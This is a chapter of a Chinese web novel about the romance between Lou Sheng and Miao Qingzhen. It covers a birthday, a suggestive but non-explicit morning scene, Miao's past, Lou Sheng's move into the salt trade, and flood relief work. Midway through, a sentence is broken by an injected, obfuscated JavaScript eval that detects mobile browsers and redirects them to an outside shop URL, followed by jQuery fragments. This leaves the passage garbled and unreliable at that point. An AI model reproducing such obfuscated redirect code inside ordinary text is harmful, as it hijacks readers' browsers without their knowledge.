转眼间，秋意又深了一层，到了楼晟二十一岁的生辰。


    小苗儿一大早就格外殷勤，拉着袅袅一起，像两只欢快的小雀儿围在楼晟身边，一个给他揉肩膀，一个给他捶腿，小嘴甜滋滋地不停说着“小爹生辰开心”。


    楼晟被两个小家伙哄得身心舒畅，第二天就派人寻来一只据说原是进贡给皇家的猫。


    那猫一身柔软蓬松的长毛，身子圆滚滚的，一双琥珀色的大眼睛又圆又亮，瞳孔深处像是蕴着光，看人时带着点神秘又慵懒的劲，立刻俘获了两个孩子的心，成了他们的新宠。


    苗青臻身子骨其实很结实，往年就算是最恶劣的天气，他也敢独自进山打猎，回来喝几口烈酒就能驱尽寒意。


    反倒是这苍山镇湿漉漉的气候，让他有些受不住。


    夏天的时候，他尤其不爱动弹，稍一活动就浑身冒汗，黏腻得难受。他便常常只穿着一件薄薄的衣衫在家里走动，那若隐若现的轮廓，总惹得楼晟眼神暗沉，干脆就让他每日留在家里，多陪陪小苗儿，也省得出去招摇。


    秋日残留的暑气还未完全散尽，屋里已经摆上了冰盆，丝丝凉气驱散着闷热。


    楼晟将怀里的人又搂紧了些，手臂环着那截柔韧的腰。


    昨夜两人闹得有些过火，苗青臻显然是累坏了，此刻还沉沉地睡着，呼吸均匀绵长。


    楼晟藏在被子下的手，带着温热的体温，在那光滑的脊背上缓缓游移，掌心贴着紧实的皮肤，感受着底下匀称的肌理。


    手指不由自主地滑到那挺翘圆润的臀瓣上，最终还是没忍住，带着点狎昵的意味，不轻不重地捏了一把。


    苗青臻在睡梦中下意识地动了动身子，长长的睫毛颤了颤，终是醒了过来。他掀开被子下床去喝水，上半身赤裸着，晨光透过窗纸朦胧地照在他身上，清晰地映出颈侧和腰际几道暧昧的红色指痕，像是雪地里落下的红梅。


    背部线条流畅而漂亮，肌肉分布均匀，并不过分贲张，肩胛骨的轮廓清晰，勾勒出整个背部的骨架，诱得人想去触摸，甚至用嘴唇去感受那骨骼的起伏。


    背部的线条一路向下，利落地收束进劲瘦的腰身，更衬得他身形修长挺拔。


    苗青臻弯腰去拿水壶，背肌随着动作微微绷紧，那弧度显得格外诱人，让人不由自主地想从后面贴近，将胸膛贴合上去。


    “嘶……”


    楼晟坐起身，看着苗青臻毫无防备的背影，深深吸了口气，试图压下清晨自然涌起的躁动。


    昨夜折腾到天边泛白才歇下，他赶紧在脑子里想些别的来分散注意力。


    忽然就想到，苗青臻这些年一个人带着孩子在村子里，年轻力壮，模样周正，打猎也是一把好手，除了性子冷淡些，在旁人眼里恐怕挑不出什么毛病。


    今年过了就二十八了，难道就没人动过心思，想把姑娘嫁给他？这么想着，他便直接问出了口。


    苗青臻转过身，说村子里的确有过好心的婶子帮他说媒。他在村里算是出名的人物，但他当时就皱紧了眉头，说自己这坤泽身子怎么能去祸害人家好端端的姑娘？更何况他还带着个孩子，便都婉言推拒了。


    接连推了好几个之后，他每次冷着脸，态度明确，渐渐地那些热心肠的婶子也觉得是吃力不讨好，就不再张罗了。


    也有那么一两个特别执着的，但苗青臻一旦真的冷下脸来，那疏离感能拒人于千里之外，对方最后也只好悻悻地断了念想。


    他并不在意旁人背后如何议论，一心只想着把儿子好好抚养长大就够了。


    楼晟盘腿坐在床边，手撑着下巴，目光像是黏在了苗青臻身上，故意拖长了语调，带着点戏谑问：“那你独身过了这么些年，守身如玉的，怎么偏偏遇见我，就那么不矜持了？难不成……是对我一见钟情？”


    苗青臻被他这话说得脸上有些挂不住，泛起一层薄红。


    他哪里能料到，当初不过是顺手从山里救回来一个人，就这么不偏不倚地，正正撞进了自己心坎里。带回家后每日精心照料着，不知不觉间，才发现身边多了这么个人陪着，竟是这般熨帖。


    从那以后，他才真切地体会到，身边有个知冷知热的伴儿，是真的很好。


    他也曾暗自琢磨过，楼晟以前毕竟是个养尊处优的少爷，虽说现在跟着他吃穿不愁，可这日子跟从前相比，终究是一个天上一个地下。


    但后来，楼晟愿意为了他，舍弃可能回去的机会，留在这小小的拱水村，这份心意，实实在在地让他感动了很久。


    楼晟瞧见苗青臻那副欲言又止、耳根微红的样子，觉得新奇极了，也跟着下了床，凑到他跟前。


    苗青臻下意识想往后躲，楼晟手臂一伸，轻易就将人圈进自己怀里，脸颊贴着他微烫的皮肤蹭了蹭，声音带着点不依不饶的黏糊：“大苗儿，你倒是说啊？是不是对我一见钟情？”


    苗青臻被他圈着，乖顺地垂下眼睫，脸上那层薄红更深了些。


    楼晟看着他这副难得显露的羞赧模样，心里像是被羽毛轻轻搔过，又像是喝了温过的酒，暖洋洋、晕陶陶的。


    他忍不住又在对方脸上亲了几下，甚至带着点惩罚意味地轻轻咬了咬那泛红的耳尖，手臂紧紧环着那截柔韧的腰，声音压低：“算你有眼光。小爷我长得好看，脑子也聪明，更不会……嫌弃你。以后你就跟着我，保证让你风调雨顺、锦衣玉食地过日子。你会知道的，往后遇见的人，都只会对你笑，不管你做什么，再也没人能欺负你。”


    苗青臻自动过滤了那句“嫌弃”，听着后面的话，心里反而泛起细细密密的疼。


    楼晟家道中落，经历了那样翻天覆地的变故，想必……吃了很多苦头。


    “我知道你聪明。”他苗青臻低声说。


    楼晟眼珠转了转，忽然想起什么，话锋一转，问道：“小苗儿的亲爹……是个什么样的人？”


    苗青臻看着楼晟近在咫尺的眼睛，张了张嘴，想说什么，却又不知从何说起。


    “不愿意说？”楼晟见他这副犹豫迟疑的样子，心里的不快立刻涌了上来，脸上的笑意也淡了下去，嘴角微微下撇。


    苗青臻见他脸色沉了下来，心里一紧。


    相处这么久，他多少也摸到了一些顺着楼晟毛捋的法子。于是他重新靠过去，从背后抱住楼晟，手掌在他背上轻轻抚摸，带着讨好的意味。


    可怀里的人一点反应都没有，他又凑过去，亲吻楼晟的脖颈，把自己那点“看家本领”都使出来了，楼晟却依旧不理不睬，连眼神都没给他一个。


    苗青臻这下真有些急了，觉得这人真是越来越难哄了，声音里都带上了点不易察觉的委屈：“不是不愿意说……只是他……他……”


    他结结巴巴了半天，脸都憋红了，最后才像是豁出去般，用极小的声音挤出两个字：“……死了。”


    楼晟猛地转过身，盯着他，嘴里发出意味不明的一声：“啧……真死了？”


    苗青臻连忙点头。


    楼晟眯着眼打量了他片刻，忽然像是失去了兴趣，意兴阑珊地摆摆手：“罢了，一个死人，与我有什么相干。”


    他及时刹住了话头，跟一个不在世上的人争风吃醋？这根本不是他楼少爷该有的做派。


    苗青


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572541|187057||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    臻见他没有再追问下去的意思，悬着的心才悄悄落回了实处，不易察觉地松了口气。


    后来两人又耳鬓厮磨地温存了好一会儿，连楼晟这般平日里显得薄情寡性的人，心底也难得地被熨帖出几分柔软的暖意。


    他搂着苗青臻，有一下没一下地亲着他的嘴角和下巴，同他讲这些日子自己会非常忙。


    苗青臻问他具体要做什么。


    楼晟看着他，眼神里带着一种前所未有的认真和隐隐的野心，说：“你男人在干大事。”


    没过几天，楼晟让他押送着成箱的银子，送进了一处不起眼的院落。


    楼晟几乎已经将徐家上下都换成了自己信得过的人，林卓康根本构不成威胁，徐老爷更是几乎把整个徐家都交托到了他手上。


    苗青臻还隐约听到些风声，似乎涉及“皇商”二字。


    苗青臻抬手摸了摸脸上那张冰凉的面具，最终什么也没多问。


    他心里清楚，楼晟并非池中之物，迟早会有自己的一片广阔天地。


    起初，苗青臻还天真地以为楼晟只是搭上了官府的门路，做些寻常买卖。却万万没想到，他的手竟然直接伸向了被严格管制的商盐。


    江南地区的盐货，通常依靠官船或特许商船经由江河运输。时任盐业局的尚书右丞秦云晋，担心动用官船目标太大容易招致海盗，本想自行出资购船。楼晟看准时机，主动出面，多次将徐家的私人船队借给官府用于运盐。


    此事过后不久，距离苍山镇百里之外的郡县突遭洪水肆虐。楼晟再次慷慨解囊，提供了大量船只，协助官府运输救灾粮食和军需物资。


    洪水过境，昔日平坦的土地沦为汪洋，河道满溢，无辜百姓在废墟间艰难穿行，寻找着尚且完安的栖身之所，家园尽毁。


    低洼地带被浑浊的污水淹没，淤泥堆积，秽物随处可见，甚至能看到漂浮的牲畜和人的尸体，散发着令人作呕的腐臭，放眼望去，满目疮痍。


    楼晟带着苗青臻亲临受灾之地，开设粥棚，施粥放粮。


    当地知府裴云感激涕零，几乎要对着楼晟跪下行大礼。


    那些日子，楼晟忙得脚不沾地，肉眼可见地迅速消瘦下去，眼眶深陷。


    有时累极了，靠着苗青臻的肩膀就能立刻睡过去，嘴里还含糊不清地喃喃低语：“做个好人……真难啊。”


    苗青臻闻言一愣，伸手轻轻替他理了理汗湿的额发，声音很轻却坚定：“可你做得很好。”


    楼晟似乎又嘟囔了句什么，苗青臻没能听清。


    一天，有几个被苗青臻日日施粥救助过的孩子跑来找他，说有一处被淹的房屋里还有人被困，求他去救人。


    苗青臻在城中日日布施，很多人都认得他这张面具。


    他跟着孩子们赶到地方，果然看见一老一少蜷缩在一处低矮的、随时可能被水冲垮的房顶上，瑟瑟发抖。


    苗青臻看不下去，当即就要下水救人。


    赶来的楼晟猛地伸手拦住他，盯着那污浊不堪的水面，咬牙切齿地压低声音：“你自己什么身子你不清楚？这水你也敢下？”


    苗青臻看着房顶上那个和小苗儿年纪相仿的孩子，于心不忍：“……可是那孩子……我识水性……”


    楼晟盯着他看了半晌，眼神复杂，最终猛地扯下自己的外袍扔到他怀里，语气强硬：“呆在这儿，别动！”


    他转头叫了几个随行的官府壮汉，亲自指挥着他们下水施救。


    人最后被平安救了上来。


    但楼晟自己，却因为连日劳累，加上这次下水着了凉，回去后就病倒了，发起了高烧。